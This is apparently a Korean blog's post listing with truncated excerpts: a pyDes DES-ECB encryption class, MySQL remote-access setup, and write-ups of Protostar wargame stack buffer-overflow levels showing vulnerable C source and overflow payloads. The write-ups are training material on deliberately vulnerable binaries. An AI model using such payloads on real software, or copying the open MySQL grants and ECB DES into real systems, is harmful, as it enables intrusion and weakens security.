View All
-
pyDes를 이용한 DES 암호화, 복호화Programing/Python 2014. 7. 25. 14:32
코드#참고 #http://www.cppblog.com/AutomateProgram/archive/2013/01/06/197017.html import pyDes #http://twhiteman.netfirms.com/des.html import base64 class DES: def __init__(self, iv, key): self.iv = iv self.key = key def encrypt(self, data): k = pyDes.des(self.key, pyDes.ECB, self.iv, pad=None, padmode=pyDes.PAD_PKCS5) d = k.encrypt(data) d = base64.encodestring(d) return d def decrypt(self, data): k..
-
MySQL 원격접속 허용Database/MySQL 2014. 6. 16. 14:19
root로 로그인해 아래와 같은 쿼리를 실행해준다. INSERT INTO mysql.user (host,user,password) VALUES ('%','아이디',password('패스워드')); FLUSH PRIVILEGES; GRANT ALL PRIVILEGES ON 디비이름.* TO '아이디'@'%'; FLUSH PRIVILEGES; 이후 /etc/mysql/my.cnf 에bind-address = 127.0.0.1 부분을 아래와 같이 주석처리 해준다.#bind-address = 127.0.0.1 이후 mysql 서비스 재시작sudo /etc/init.d/mysql restart
-
Protostar - Stack 5Wargame/Exploit-Exercises 2014. 5. 19. 11:24
1. 문제 Source#include #include #include #include int main(int argc, char **argv) { char buffer[64]; gets(buffer); } 2. 풀이 user@protostar:~$ cp /opt/protostar/bin/stack5 ./ user@protostar:~$ ls stack5 user@protostar:~$ ulimit -c unlimited user@protostar:~$ python -c "print 'A'*76 + '\xcc\xcc\xcc\xcc' + 'C'*100" | ./stack5 Segmentation fault (core dumped) user@protostar:~$ gdb -q -c /tmp/core.11.st..
-
Protostar - Stack 4Wargame/Exploit-Exercises 2014. 5. 15. 14:57
1. 문제 Source#include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } 2. 풀이 user@protostar:/opt/protostar/bin$ objdump -d ./stack4 ./stack4: file format elf32-i386 ... Disassembly of section .text: ... 080483f4 : 80483f4:55 push %ebp 80483f5:89 e5 mov %esp,%ebp 80483f7:83 ec 18 sub $0x18,%esp ..
-
Protostar - Stack 3Wargame/Exploit-Exercises 2014. 5. 15. 14:36
1. 문제 Source#include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } } 2. 풀이 user@protostar:/opt/protostar/bin$ objdump -d ./stack3 ./stack3: file format elf32-i386 ... Disassembly of sec..
-
Protostar - Stack 2Wargame/Exploit-Exercises 2014. 5. 15. 14:29
1. 문제 Source#include #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified == 0x0d0a0d0a) { printf("you have correctly modified the variable\n"); } else { printf("Try aga..
-
Protostar - Stack 1Wargame/Exploit-Exercises 2014. 5. 15. 14:26
1. 문제 Source#include #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; if(argc == 1) { errx(1, "please specify an argument\n"); } modified = 0; strcpy(buffer, argv[1]); if(modified == 0x61626364) { printf("you have correctly got the variable to the right value\n"); } else { printf("Try again, you got 0x%08x\n", modified); } } 2. 풀이 user@protosta..
-
Protostar - Stack 0Wargame/Exploit-Exercises 2014. 5. 14. 16:43
1. 문제 Source#include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } 2. 풀이 user@protostar:/opt/protostar/bin$ python -c "print 'A'*65" | ./stack0 you have changed the 'modified' variable